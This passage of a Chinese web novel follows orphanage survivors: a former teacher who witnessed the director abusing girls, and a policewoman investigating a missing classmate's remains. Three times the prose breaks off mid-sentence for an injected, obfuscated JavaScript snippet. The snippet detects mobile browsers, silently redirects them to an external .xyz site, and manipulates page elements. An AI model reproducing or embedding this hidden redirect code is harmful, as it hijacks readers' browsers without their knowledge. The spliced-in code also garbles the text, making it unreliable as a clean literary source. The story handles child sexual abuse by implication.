小朋友突然尿了裤子,在原地哇哇大哭,旁边的小朋友也被他带着哭了起来,霍春连忙过去把小朋友抱去隔壁换裤子。
就在她离开的时候,有两个小朋友起了争执,另外一个怒气上头,拿着剪刀就要去捅另一个小朋友,周围的小朋友都吓傻了,唯独坐在旁边的施宜,第一时间站了起来,牢牢地握住了那把剪刀,一只手控制着那个拿着剪刀的小朋友,另一只手把另一个小朋友推远了。
霍春再回来的时候,看到的就是这幅场景。
这差点没把她吓得魂飞魄散。
她急忙上前分开几个孩子,喊来保育室的老师帮忙,再去紧急查看施宜的手掌,发现施宜的手掌被剪刀划了个口子,正在淌血。
霍春吓得脸色发白,一迭声问她有没有事。
反而施宜非常淡然,她摇摇头,扯过一张纸巾,擦了擦血,甚至准备坐下来继续做手工。
旁边被吓呆的小孩似乎终于回过神了,看到施宜手上的血,吓得放声大哭,哭得涕泗横流。
他一哭,旁边的孩子也和传染了病毒似的,一个接一个哭了起来,比大合唱还整齐。
在一众呜呜的哭声中,坐在座位上做手工的施宜显得有些过于淡定,淡定得令人毛骨悚然的地步。
霍春无奈,只好强拉着施宜到医务室,让医务室帮忙处理伤口。
霍春在旁边观察着施宜,发现即使在用碘酒消毒的时候,施宜也一声不吭,没有喊过疼,甚至连眉头都没有皱一下。
这孩子,有些勇敢冷静过头了。
然而,霍春知道,这是不正常的。
正常的孩子会哭会闹,哭闹是孩子表达情绪,发泄情绪最基本的方式。
就像人饿了要吃饭,渴了要喝水一样的道理,是出于本能的反应。
一个不哭不闹,乖巧懂事像人偶的孩子,要么极度迟钝,要么极度聪慧早熟。
然而不管是哪种,都是违反规律的。
树想要在秋天结出美妙的果,就要在春天长叶,夏天开花,秋天才能结果。
但如同在春天就提前开花,或提前催熟,那出的果只能是青涩且畸形的。
那之后,霍春有意无意地观察这个孩子。
然而施宜一切表现得特别正常,她身边总是围绕着几个孩子,那几个孩子对她非常信任。
她们常在一起玩。施宜似乎是她们的领导人。
就在观察中,霍春发现了另外一个秘密。
有些孩子经常被去院长办公室,而她路过院长办公室的时候,会听见一些奇怪的,压抑的哭声。
有一次,她看见一个孩子进来,叫一个叫邓娇的孩子去办公室,邓教站了起来,畏畏缩缩,扭扭捏捏,不知道在害怕什么。
邓娇正低着头要过去的时候,施宜拉住了她。
“别去。”施宜的声音很平静,“你说你生病了。”
“可,可是……”
“你生病了。”施宜重复了一遍。
邓娇犹豫地看了眼门口,最终又坐回了施宜身边。
霍春本能地觉得不太对劲。
有一天,她路过办公室,办公室的门虚掩着,她瞥到了里面的场景。
院长正和一个十多岁的女孩坐着,教她读书,这本来是一副非常温馨的画面,除了院长的手非常暧昧地放在女孩的腰间。
霍春如遭雷击。
她仿佛目睹到了世界上最肮脏,最下流的秘密。
她觉得自己浑身的血液都被冰冻住了,她动弹不得。
她连自己是怎么回到宿舍的都不知道,她只记得自己一路失魂落魄,连孩子们叫她都没听见。
她以为自己要把这个秘密带至坟墓里了,直到一个叫杜语的新来的老师找到了她。
杜语老师和她说了很多,大意是要求她帮忙,央求她作证。
最后她意有所指地暗示霍春,她可能也受到了性侵。
霍春没答应,也没拒绝。
她回到了宿舍,掩面哭泣。
她没勇气,她不敢。
她一想到自己要站在那么多人面前,讲出这些话,控告曾经对她有恩的院长,她就备受
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456742|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
煎熬,内心的罪恶感和羞愧感反复折磨着她,让她夜不能寐。
然而这一切,都在那场大火里消散得无影无踪。
那场还未正式受审的案件成了她的心结。
她最终也没能成为证人。
再后来,她离开了孤儿院,去餐馆里做起了服务员。
在艰难的摸爬滚打中,她曾被客人刁难,被老板骚扰,被陌生男人跟踪,所有的一切,都在告诉她,女人活在这个世界上,面临的就是这样的一个境遇。
随便一个男人,站在她面前,凭借着比她更高更壮的体力,向她挥一挥拳,就能让她屈服。
她想着随便吧,她认命了。
然而命运峰回路转,柳暗花明又一村。
她生下不伦之恋的罪胎,没有敢看他一眼就急急把他送走,在惴惴不安中度过了二十年,直到三年前儿子找上了她。
她才知道,儿子原本根本不知道父亲是谁。
她也曾很好奇,儿子究竟是怎么找上她的。
据儿子说,是一个人给他寄了出生证明,他按照出生证明的名字托人找到了她。
霍春对儿子的情感很复杂,如果让她选择,她情愿没有这个儿子。
在她生下孩子后,她曾经诞生过想把孩子掐死在摇篮里的想法,仿佛那不是她的孩子,而是一个赤裸裸的污点和罪证。
她以为这些年来,她早已见识到了命运的荒谬无奈,也早已接受了命运赐予她沉重的十字架,她每日都背着十字架,背着她的罪孽和血泪,在这人世间行走。
她知道审判终将到来,那是悬在她头上的达摩克利斯之剑,也许神在等待哪天,在戏剧的第五幕,将那把剑落下,让她在浑身罪恶里得到鲜血淋漓的自由。
她每周日都去教堂祈祷,她祈祷神能早日让她解脱,让她自由。
她没想到,审判日竟然就这么降临了。以一种她完全意想不到的方式。
待儿子睡着后,她把儿子慢慢扶到了床上,给儿子盖上被子,看着儿子睡梦中的面容。
他长得真像那个人。
霍春就这么麻木地坐在床边,一直坐到了天亮,清晨的第一道光从云间的缝隙里透了出来,那一束光从没拉拢的窗帘中直直射了进来,照在她的脸上。
她站了起来,来到旁边的衣柜旁,打开衣柜,拉开衣柜里的抽屉。
抽屉里有个盒子,她打开了盒子,阳光斜斜地照在上面,银色的光反射在她的脸上。
她最后看了一眼还在沉睡的儿子,然后转身离开了家。
她没有回头。
今天是春分过后,第一个月圆后的第一个星期日。
是复活节。
耶稣在三日前被钉死在十字架上。
三日后,他复活,重回人世,经过死亡后再重生。
霍春走出门的时候,街道上的行人还不多,稀稀拉拉地在路边等着红绿灯。
她过了马路,穿过几个街道,这里的路线她早已熟记于心。
她抬起头,一缕阳光斜斜地照了过来,警察局三个字在晨曦沐浴中熠熠发光。
她迈出了步伐,走进了警察局里。
在她人生所有的跌跌撞撞里,唯有这一步,她迈得坚定且勇敢,她义无反顾。
18. 邓娇
邓娇从小到大收到的评价最多的永远是“安静”,“内向”,“不爱说话”。
她就像那种你随处可见的女孩,学校里每个班级都会出现的,安安静静坐在边缘位置,不说话,不举手,只是默默记笔记的那种女孩。
在青春剧里,她是路过主角轰轰烈烈青春的背景板。
她就在这样的状态下度过了她的青春期。
无声无息,默默无闻。
然而她做出了一个决定。
她想考警察,去警校。
她把这个决定告诉自己的朋友时,所有人都惊讶地看着她。
苏晓雯笑了起来,说,胆小鬼居然有一天还要当保护别人的警察了。
她也笑了笑,并不在意。
她知道苏晓雯并没有恶意,也知道苏晓雯说的是事实。
她确实是彻头彻尾的胆小鬼。
小时候在孤儿院,她因为不怎么说话,总是被老师遗忘在角落里。
孤儿院的孩子多,老师少,经常一个老师要负责好几班的孩子,孩子们乌泱泱地挤满了整个院子,吵吵嚷嚷,声量能掀翻屋顶。
老师焦头烂额,像只毫无头绪的蜜蜂误入一大片花丛,这飞飞,那走走,停不下来。
邓娇就在角落里自己和自己玩,左边一个娃娃,右边一个积木,就这样自导自演情景剧。
她沉浸在自己的世界里,好几次她一抬头,发现孩子们都不见了,只剩下她一个,还在角落里。
一来二去,她也习惯了。
然而有一天,苏晓雯从天而降,硬闯入她的世界。
她蛮横地挤进来,说这个角落好啊,没太阳,热死了,然后一屁股坐在她身边。
邓娇满是被打扰的不悦,但她不敢直接表现出来,也不应苏晓雯,就沉默地继续拼着积木。
苏晓雯见她不回答,也没说什么,径直在她身边躺下睡觉了。
一天两天,她也习惯了苏晓雯在旁边坐着,就像习惯了一个人一样。
她总能习惯任何事。
直到有天,苏晓雯又拉来了一个人,接着,越来越多的人挤占了她的角落。
最可恶的是,苏晓雯还对这些小孩说,怎么样,这个角落是不是很完美,不会被太阳晒到,你们都是傻子,在太阳底下晒了那么久,头不晕么?
邓娇看着她的背影,觉得此人简直不可理喻。
更不可理喻的是,那群孩子还傻傻地点头附和,说苏晓雯真是太厉害了,其中一个小女孩还可劲儿地拍手,说晓雯姐又漂亮又聪明,跟着晓雯姐玩真是太幸福了。
邓娇心里不屑地冷哼一声,心想这群小孩真是傻子,这有什么厉害的。
再说了,这角落也是她先占的。
她没想到,自己不自觉就把这句话说了出来。
苏晓雯耳朵也灵,一声小声的嘀咕她也能听见,立刻转头看她。
邓娇胆子小,又容易尴尬,被她一看,急忙低头,假装刚才什么事也没发现。
苏晓雯眯起眼,看了她半天,忽然伸出手揽住邓娇。
邓娇吓了一跳,想去推她,苏晓雯拍了拍她的肩膀,说需要纠正一下,是这位小朋友先发现的哦!
小朋友们非常给面子地欢呼起来,说好厉害好厉害!
邓娇更无语了。
无语的同时,她也感觉心里涌过一丝暖流,不禁有些得意起来。
她先发现的角落,她可真是个天才。
这样一来,她渐渐地和苏晓雯混熟了。
也或许是,苏晓雯单方面觉得和她混熟了。
总之,她就这么莫名其妙加入了苏晓雯的朋友圈,认识了施宜,她们三个人又莫名其妙组成了三人组,她渐渐习惯了和她们每天都黏在一起吃饭,上学,玩。
也许友谊的开始都是有些莫名其妙的。
在这其中,施宜年纪最小,却是她们三人的核心。
就连苏晓雯这种看起来很不好惹的小孩都对施宜言听计从。
邓娇本来很好奇施宜是怎么做到的,在她目睹了施宜面不改色地阻挡住了一个手拿剪刀的孩子伤害另一个孩子之后,顿时对她肃然起敬,佩服得五体投地,并明白了为什么连苏晓雯都愿意跟着施宜。
小孩子总是倾向抱团取暖的。
更何况在那天之后,她们的友谊又多了另一层不明的暧昧意味。
她们有了个共同的秘密。
那天晚上,她们在房间里独自做手工,忽然施宜停了下来,说听见了有人在哭。
夜晚的孤儿院非常安静,走廊鸦雀无声,基本没人,施宜的这一句话让邓娇瞬间起了鸡皮疙瘩,但她还来不及说些什么,施宜就站了起来,推开门往外走去。
苏晓雯和她对视一眼,眼里都带着疑惑,但她们还是跟在后面走了出去。
三人穿过黑暗的走廊,走廊的灯一盏一盏地亮起,微弱的白炽灯闪烁着,如一眨一眨的眼睛。
施宜停在了院长办公室的外面,有个比她们大些的女孩推开门走了出来,看了她们一眼,惊恐地跑走了。
她们还没出声,办公室就传来院长的声音,叫她们进来。
邓娇紧张地看着施宜,施宜的手放在门把手上,犹豫了一下,然后推开门,走了进去。
邓娇和苏晓雯也一起走了进去。
她们三个不会抛下彼此走的。
后面发生的事情她们已经记不得了。
只记得院长忽然捂住心口,似乎做了个什么口型,就在她们面前直直地倒了下去。
邓娇的脑子一片空白,她想转身尖叫,喊来老师帮忙,但被旁边的苏晓雯捂住了嘴。
然后……
她听见外面有人惊慌失措地大喊“起火了!”
紧接着就是一阵急促如骤雨般的脚步声。
邓娇被苏晓雯拉着,一路往外跑着,她觉得身体和灵魂都不是自己的,她只是很麻木地跟着别人,周围充斥着惊慌的叫声和脚步声,而她的心从未跳得如此之快。
仿佛下一刻就要跳出心脏。
她被拉扯着到了一片空地,苏晓雯在旁边喊着她的名字。
邓娇愣愣地看着她。她只看见苏晓雯的嘴一张一合,耳朵却像被棉花堵住了一样,什么也听不见。
在苏晓雯的身后,是已经成为一片火海的孤儿院。
那个她们曾经的家,已经深陷火海,正如同她此刻的人生,被一把野火,烧了个干净。
她站在废墟之上,不知向哪走,也不知往哪去。
她看向苏晓雯,发现苏晓雯似乎流泪了。
她心神震动,那滴眼泪把她扯回了现实中,她像是一下子从水底浮了上来,她费力地去听苏晓雯在说什么。
苏晓雯在说,没关系,有我。
邓娇缓缓眨了眨眼,仿佛飘荡无依的灵魂终于在那刻得以落地。
苏晓雯比她大两岁,所以一直以姐姐自居。
一开始,苏晓雯其实很嫌弃她。
因为邓娇有鼻炎,经常打喷嚏,流鼻涕,苏晓雯一边叫她鼻涕虫,一边给她甩了包纸巾,帮她擤鼻涕。
苏晓雯经常占着年龄大点,比她长得高点的游戏,偷偷把零食藏在她够不到的地方,还义正言辞地告诉她,她还小,不能多吃这种零食,不然就长不高了。
邓娇晚上睡觉不安稳,会梦游,说梦话,以前睡大通铺的时候,小朋友经常被她吓到。
为了不让小朋友被吓到,她只能被安排到单人宿舍去,邓娇晚上睡觉怕黑,总是睡不着,睡着了也做噩梦。
后来,苏晓雯和施宜也申请调了过来。
奇怪的是,邓娇再也没有梦游过了。
所有的苏晓雯,拼凑起了眼前这个努力地对她一遍一遍地说,没关系的苏晓雯。
有人牵住了她的手。
是施宜。
施宜看了她一眼。
只一眼,就似乎有神奇的力量,让邓娇瞬间安静下来。
那个兵荒马乱的夜晚过后,她们的命运就此改变。
邓娇十二岁的时候,第一次见到自己的亲生父母。
母亲站在门口,抱着肩,冷漠地看着她。
父亲在旁边抽着烟,瞟了她一眼,又低下头去。
门前的地板上堆着一堆烟头。
母亲沉默着拿着扫帚去扫烟头,邓娇连忙也拿了一个扫帚,跟着一起扫。
父亲呵呵笑了一声,说挺好的,蛮伶俐的,以后多了个人干活。
邓娇就这样,在新的旧家里住了下来。
她转学到镇子上的中学读书,依旧坐在边缘位置,依旧不说话。
镇上的初中鱼龙混
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456743|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杂,什么乱七八糟的人都有。
上课的时候一片乱哄哄的,光明正大谈恋爱的,讲话的,看课外书的,画画的,只有一些人还在听老师在说什么。
老师也不管你读不读,每天上课按着课本读一遍就下班。
邓娇全靠自学,白天在学校低头背书,晚上帮母亲烧饭的时候,还要把单词书放在旁边看几眼。
母亲看了她一眼,嘟囔了一句读那么多书有什么用。
邓娇没说话。
她自己倒是无所谓,可是,她太想见到昔日的好友了。
苏晓雯的父母也把她领了回去,父母在城里工作,她还有两个妹妹和两个弟弟。
家里人口庞大,父母想必也不怎么理会她。
她和苏晓雯分开的时候,苏晓雯给她写了一张纸条,说是她家里的电话,有事就给她打电话。
邓娇很少给她打电话。
之前有一次,邓娇偷偷用镇上的公用电话给她打了个电话。
电话先是被一个小朋友接起来,喂了几句就挂掉了。
邓娇不死心,再继续打,接起来的是一个有着浓重口音的中年男人,很不耐烦地喂了一句。
邓娇吓了一跳,但她怕男人挂电话,连忙说她想找苏晓雯。
男人很明显烦躁地啧了一声,然后叫了几声。
一阵脚步声响起。
邓娇的心跳得飞快。
小卖铺的老板在看电视,他目不转睛地盯着电视,电视上正在播放不知哪年的春晚小品,时不时发出几声欢快的笑声。
他面前摆着还没卖完的肉,只剩下几块肉,黏在粘板上,引来几只苍蝇,绕着那块肉嗡嗡地飞着。
邓娇的眼睛漫无目的地跟着那几只苍蝇飞。
直到电话那里响起一声熟悉的声音。
“喂?”
邓娇的眼泪就这么直愣愣地流下来。毫无预兆。
她不敢让别人听见,也不敢引起小卖铺老板的注意,于是她马上捂住了嘴。
邓娇觉得自己似乎天生比别人的眼泪多些。
从小的时候,她想哭,她就立刻捂住自己的嘴,不让自己哭出声。
“邓娇?是吗?”那头始终得不到回应,又试探地问了句。
邓娇这才放下手,小声地说:“是。”
她自认为自己掩饰得很好了,可苏晓雯还是叹了口气。
“你哭了,是吗?”
她不说还好,一说,邓娇的眼泪又下来了。
“没有。”邓娇说。
苏晓雯沉默了一瞬,笑了笑:“你说没有就没有吧。怎么了?”
邓娇握着电话线,一瞬间,她有万语千言涌上喉头,但她不知道从哪里说起,就这么全部哽在心头,沉甸甸地压着。
那头的背景音忽然变得嘈杂,有小孩在大声尖叫,有大人在训斥。
一股无来由的恐慌忽然攥紧了邓娇的心脏,她慌不择路中脱口而出:“你,你还好吗?”
什么也说不出来。只能问一句你还好吗。
苍白单薄无力。但这是她能想到的唯一一个问题。
她只想知道她还好吗。
苏晓雯顿了顿,说:“我还好。你呢?”
“我……我也还好。”邓娇颤抖着声音说。
待邓娇又要说什么的时候,电话那头的背景忽然传来催促的声音。
“好了没啊,电话费很贵的嘞——下次你去交——”
苏晓雯有些无奈:“邓娇,我可能得挂了。”
邓娇的心里涌上失望,但她还是很好地掩饰住了自己的情绪。
“嗯,好。”邓娇压下声音,“再见。”
“再见。”苏晓雯想了想,又说,“不好也没关系。会好的。”
邓娇挂完电话,付了钱,坐在小卖铺门口的阶梯上,看着来来往往的行人,眼泪直流。
她捂住脸,想竭力掩饰自己的哭声,可眼泪从双手的指缝里渗了出来,濡湿了手指。
风吹过来,脸上未干的泪痕被吹得刺痛。
她迷茫地抬起头,突然很想抓住那些路过的大人,随便一个就好,她想问问,这个世界为什么会是这样的?
但这个问题是注定没有答案的。
因为直到她也成为了路过的大人的一员,她仍旧没有答案。
19. 胆小鬼
邓娇收到紧急外出任务的时候,还在档案室翻找当年林常雄的案子资料。
这么多年来,她没放弃寻找这个案子的线索。
不是为了林常雄,而是为了在这个案子后失踪的朋友,魏冉。
她一直没放弃寻找魏冉。
当初魏冉失踪的消息传出之后,邓娇她们曾经在河边找了一天一夜,没有任何魏冉的消息。
魏冉好像就此消失得无影无踪。
就如同她当初神秘出现一样。
她研究林常雄的案子的时候,发现当时法医给出的报告是尸体后脑勺有被击打的痕迹,所以警方怀疑有他杀的可能。
然而因为那天南湾市夜里下了场特大暴雨,河水水位疯狂上涨,现场的痕迹已经被冲刷得一干二净了。
就在邓娇翻找材料的时候,她的队长沈红枫就这样突兀地打开门,朝她大喊,说南湾中学发现尸体残骸。
邓娇吓了一跳,手里的档案没拿稳,直接掉在了地上。
那张现场图就这么掉了出来。
邓娇弯下腰去捡,忽然手一顿,目光落在现场图片的某处。
凌乱的草丛里,各种乱七八糟的食品包装袋混杂在草丛里,其中露出了一截巧克力包装的糖纸。
警车很快就到达了现场。
邓娇和同事们下了车,来到了南湾中学后面的小树林。
分局的警察已经抵达了现场,把现场围了起来,外面挤着一堆看热闹的学生,水泄不通,班主任和老师们站在中间紧急疏散学生们。
邓娇钻过警戒线,出示了证件,简要地问:“出了什么事?”
“前几天,有一群小混混,不知道听谁说,这个小树林有什么宝藏,就每天晚上过来挖,动静很大,还经常用手电筒乱晃路过的学生,学生们报告给了学校,学校正准备处理,结果今天这群小混混就报了警,说发现了人的骨头。”警察一指,“就在那里。”
邓娇顺着他指的方向看去,榕树下,果然有一个坑。
她走过去,那是一具较为完整的尸骨,看尸骨的模样,是个女性,年龄不大,应该十来岁。
邓娇心里已经有了答案。
现场勘察组还在勘察痕迹和拍照,邓娇则一直站在坑的旁边,盯着那具白骨。
她也没想到,居然是以这样的方式和旧同学重逢。
南湾的冬天很冷,刺骨的寒冷钻入骨髓,天空也总是阴沉沉的,空气中酝酿着暴风雨将至的气息。
邓娇拢起自己套在警服外面的黑色羽绒服,微微叹了口气,白色的雾气从眼前散开。
现场勘查组正把尸骨和证物装袋,邓娇在旁边看着,忽然间,她注意到了其中一个证物袋,里面是一颗平平无奇的透明纽扣。
“这个是在哪发现的?”邓娇拦住那个正在装袋的勘察人员问道。
“尸体的手上。”勘察人员回答。
邓娇的视线久久落在那颗纽扣上,半晌,她紧紧皱起了眉。
下班后,她拖着疲惫的身体回到了家。
刚打开门,玄关暖黄色的灯就映入眼帘。
她看见了在客厅坐着看书的背影,心里一暖。
她关上了门,飞快地踢掉鞋子,换上拖鞋,走到女人身边,喊了声:“我回来了!”
女人抬起头看了她一眼,邓娇才看清她手上拿着的是南湾日报。
“您还在工作啊?”邓娇一屁股在旁边的沙发坐下,“都退休这么多年了,不好好休息一下?”
她拿过女人手里的报纸,上面的时间居然是很久之前的,署名是毕晶晶。
“啊,晶晶阿姨,你怎么在看自己的报道啊?”邓娇笑了笑,把报纸扔回桌上。
“闲不下来。也有点怀旧,就整理整理之前的报道自己看看。”毕晶晶也笑了,“你下班啦?”
“下班了。”邓娇往后一趟,盯着天花板。
短暂的沉默过后,她开口道:“你还记得当时失踪的学生林可欣吗?”
毕晶晶整理报纸的手一顿,她看向邓娇,似乎在观察邓娇的表情。
“记得。怎么了?”
“她的尸体被发现了。”邓娇从沙发上坐起来,表情没有波动,“就在南湾中学小树林的榕树底下。”
毕晶晶一愣。
沉默在两人之间泛开,如同无限拉长的休止符。
“确认了吗?”毕晶晶问。
“法医还在检验,也通知了林可欣的家长前来认尸。”邓娇继续说,“但我觉得,八九不离十吧。”
毕晶晶“嗯”了一声,然后坐到了她旁边,安慰地拍了拍她的腿。
“别太难过了,娇娇。”毕晶晶叹了口气,“那么多年了,也算是有个结果了吧。”
邓娇笑得有些勉强:“是啊。”
“那,魏冉有消息了吗?”
邓娇摇了摇头:“没有,一直都没有。”
“我今天打电话给了施宜。”
“她反应怎么样?”毕晶晶问。
“我没告诉她具体情况。”邓娇沉默了片刻,“我怕结果不是那样的。”
毕晶晶瞬间就了解了邓娇在想什么。
当年失踪到现在都没消息的有两个人,一个是林可欣,一个是魏冉。
这两个年龄相仿,身量也相仿,失踪的时候穿的应该也都是校服。
在没确认尸体具体的身份前,邓娇不敢告诉施宜,也是正常的。
“不说这些了。”邓娇笑了笑,“我们去吃饭吧。”
“嗯,行。”毕晶晶拿下眼镜,放在桌面上,“走吧,你也忙了一天了,今天我炖了鸡汤。”
毕晶晶说着就站起来,准备去厨房端鸡汤,邓娇却伸手拉住了她的衣袖。
“怎么了?”毕晶晶略带惊讶地望向她。
从这个角度,她看见了仰头看着她的邓娇,邓娇的眼神一动不动地注视着她,她有一瞬的恍惚,仿佛回到了她在路边见到邓娇的那个冬日。
邓娇看着她,眼神带着无助和绝望,她脸上被冻得通红,还有未干的泪痕,拉着她的手上满是皲裂的冻疮。
她对她说,求求了,带我走吧。
我不想结婚。我还想读书。求你了。
“没什么,只是想说,谢谢您。”邓娇冲她微微一笑。
毕晶晶忽然觉得有些鼻酸,她抽了抽鼻子,柔声说:“突然说这些干嘛。怪煽情的。”
邓娇没说话,只是笑着看着她。
法医组的结果在三天后出来,经过多方确认,就是当年失踪的高三学生林可欣。
邓娇通知了林可欣的家长过来认尸。
是林可欣的爸爸过来的。
她的爸爸在当年神龙见首不见尾,今天倒是来了,来领他十七年来都未必见过十七次的女儿的尸骨。
林可欣的爸爸冲她点了点头,然后眼圈通红地走了进去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456744|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
邓娇看着他走进法医室,就听见队长沈红枫在叫她。
“队长。”邓娇赶紧跑了过去,叫了一声。
沈红枫把手里的文件夹递给她:“这是林可欣案的全部材料。你当年和她是同学对吧?”
邓娇点了点头:“对。”
沈红枫看着他:“那当年的事情,你应该还记得一些吧。”
邓娇“嗯”了一声。
从没忘记。
“那这个案子就交给你吧。”沈红枫说。
邓娇接过文件夹,看着沈红枫,欲言又止。
沈红枫无奈地瞥了她一眼:“想说什么就说吧,怎么这坏毛病还不改,吞吞吐吐的。”
“其实我心里,有一个怀疑对象。”邓娇说。
沈红枫挑了挑眉:“哦?那你说来听听。”
邓娇想了想,理清了思路,把自己的怀疑以及推理完整地阐述了一遍。
沈红枫听完,思忖片刻,才开口道:“你说的很有道理。但是问题在于,缺乏足够的证据。”
邓娇虽然脸上略显失望,但还是点了点头。
沈红枫看出了她的心思,安慰她:“其实,这就是陈年旧案查起来麻烦的地方。五年前,连监控都没普及,刑侦手段也没有那么高明,留下的可侦查的证据链太少了,很多证据链都是断裂的。不过你别灰心,这种旧案我们也不是没破过不是?要相信自己,相信我们国家的警察力量好吗?”
邓娇用力地点了点头。
沈红枫拍了拍她的肩膀:“我一直以来都相信一句话,天网恢恢,疏而不漏。正义也许会迟到,但不会不到。”
邓娇笑了笑:“您说的是。”
沈红枫刚抬脚准备走,又想起了什么似地折返了回来。
“对了,这么多年了,为什么你还记得那颗纽扣是谁的?”
邓娇愣了愣,然后苦笑道:“可能是因为……我记性好吧。”
沈红枫没说什么,只看了她一眼,就走了。
邓娇看着沈红枫离去的背影,又低头看着手上的文件夹。
才不是因为她记性好,而是因为她是个胆小鬼。
她高一的时候,成绩不错,总能排进班级前十名。
那时候,苏晓雯,施宜都和她不在一个班。
所以她在班上依然沿袭着她一贯的人设——边缘者。
她坐在教室后排,默默地埋头写着作业。
有一阵子,苏晓雯请病假在家休息,施宜家里似乎也有事,她只能一个人上下学。
就在那时候,段景曜拦住了她的去路。
高一还没分科,段景曜和她在同一个班,他的成绩一直吊车尾,但他本人似乎不怎么在意的样子。
段景曜比她高很多,他站在邓娇面前,邓娇甚至不敢抬头,她的视线只能看见段景曜穿的那件白衬衫,白衬衫上扣着整齐的透明纽扣。
段景曜要求她帮他做作业,每天做完之后交给他。
邓娇很想推开他,冲他大喊,或者给他当面给他一巴掌,骂他一顿。
但她只是接过了他手里的作业,转身离开了。
她就这么天天帮他做作业,直到苏晓雯发现了这件事。
她到现在也不知道苏晓雯做了什么事,总之自那之后,段景曜没有再找过她了。
但那排整齐的白纽扣依然在她眼前时不时地闪过。
像在提醒她曾经就是个胆小鬼。
20. 逃离
三月的一天,苏晓雯来找邓娇,她请了半天假,两人在外面随便找了家茶馆,坐下泡茶喝。
茶馆里弥漫着淡淡的茶香,白雾缭绕,飘渺消散于眼前。
苏晓雯问她最近有没有见过施宜。
她喝了口茶,入口香醇浓郁,口感醇厚细腻,是铁观音。
“见过。”她淡淡地开口回答,“我把那本日记本给她了。”
“哪本?”苏晓雯瞪大了眼睛看她,“你在榕树底下捡到的那本?”
“对。”邓娇点点头,“就是那本上面写着魏冉名字的,带锁的日记本。”
苏晓雯的手轻轻按了下茶杯盖,她沉默了片刻,说:“我还是怀疑她。”
邓娇往窗外看去,不知什么时候,又开始下起蒙蒙细雨。
从有记忆起,南湾的春天就是这个样子,潮湿,阴冷,绵长。
像笼罩着一场永不结束的雨。
“怀疑她什么?”
“她真的是施宜吗?”苏晓雯抬起眼,她今天没化妆,素颜下,她的黑眼圈格外明显,却衬得她更素净了,仿佛褪去了面具,难得地露出了些平易近人的善良来。
邓娇又啜了口茶:“是不是有那么重要吗?”
“很重要。对我来说。”苏晓雯的字咬得很重,“她不是施宜,她其实是魏冉,你也这么认为,对吧?”
邓娇沉默地咬住下唇。
“你看。我就说吧。”苏晓雯冷冷地睨着她,“她最后还是会抛弃我们。”
“她就是这样的人,一意孤行,她想做的事情,没人拦得住。”苏晓雯潦草地撸了把头发,将杯里的茶一饮而尽。
“不说这些了。”邓娇试图转移话题,“你之后打算做什么?留在这里还是去北方?”
苏晓雯看了她一眼:“不知道。也许回北方的律所找工作吧。”
苏晓雯高中毕业后,并没有报名工商管理系,而是报名了法学系。
对此邓娇非常惊讶,而苏晓雯给出的回答是,她认为她这张嘴非常适合去当律师。
邓娇无话可说。
苏晓雯和邓娇考上了同一所大学,去了北方上学,而施宜去了更遥远的东北。
三人非常默契地远离了潮湿的南方,向北奔去。
大学毕业后,邓娇曾经思考了很久,要不要留在北方继续工作。
她大四快毕业的时候,回了趟家。
毕晶晶把她高中的东西都整理了一遍,邓娇打开的时候,翻到了从前的课本,里面还夹着许多张她和苏晓雯在上课的时候偷偷传来传去的纸条。
她小心地铺平那些已经皱巴巴的纸条。
“下课等我。”
“那个段景曜找你干嘛的?”
“数学课真无聊。”
“食堂的排骨好吃。下课你收拾快点。”
“今天下课我不等你了。”
“我刚刚想到,不如你去学医吧,法医。很适合你,绝对不用和人打交道。”
“我的话,我俗人,我就想学点能赚钱的专业。”
……
“其实你不是胆小鬼。我才是。”
“以后一起离开这里吧。不要回来了。”
邓娇一张一张地看完了纸条,再沉默地把这些纸条塞进了箱子的底部。
夕阳透过玻璃窗照了进来,在旧书籍的缝隙之间滑过,如同那些时光。
邓娇当然是想过走的。
不然她也不会义无反顾报了离家最远的学校,去一个自己完全陌生的城市。
然而等真的到了那个自己梦寐已久逃离的城市,她却发现,自己好像不快乐。
苏晓雯肉眼可见地开朗了很多。
邓娇在旁默不作声地看着她加入社团,和社团新成员打趣玩闹,开始化妆,兼职赚钱,给自己买各种漂亮衣服。
而她因为专业繁忙,根本没有时间去做这些事。
也许不全是因为专业忙,而是她想让自己忙起来。
只要忙起来,她就没空去想过去那些本该被自己抛下的回忆和噩梦。
可是,那些存在她脑海里的回忆却不肯轻易放过她。
每次午夜梦回,那些残缺的,支离破碎的片段和画面不断闪回,像水下生长出的黏腻水草,拽着她一起沉没在幽暗水底。
她一直刻意忽略这些。
她想,只要走出去,就好了。
直到有天,她所在的学校发生了一件不大不小的新闻。
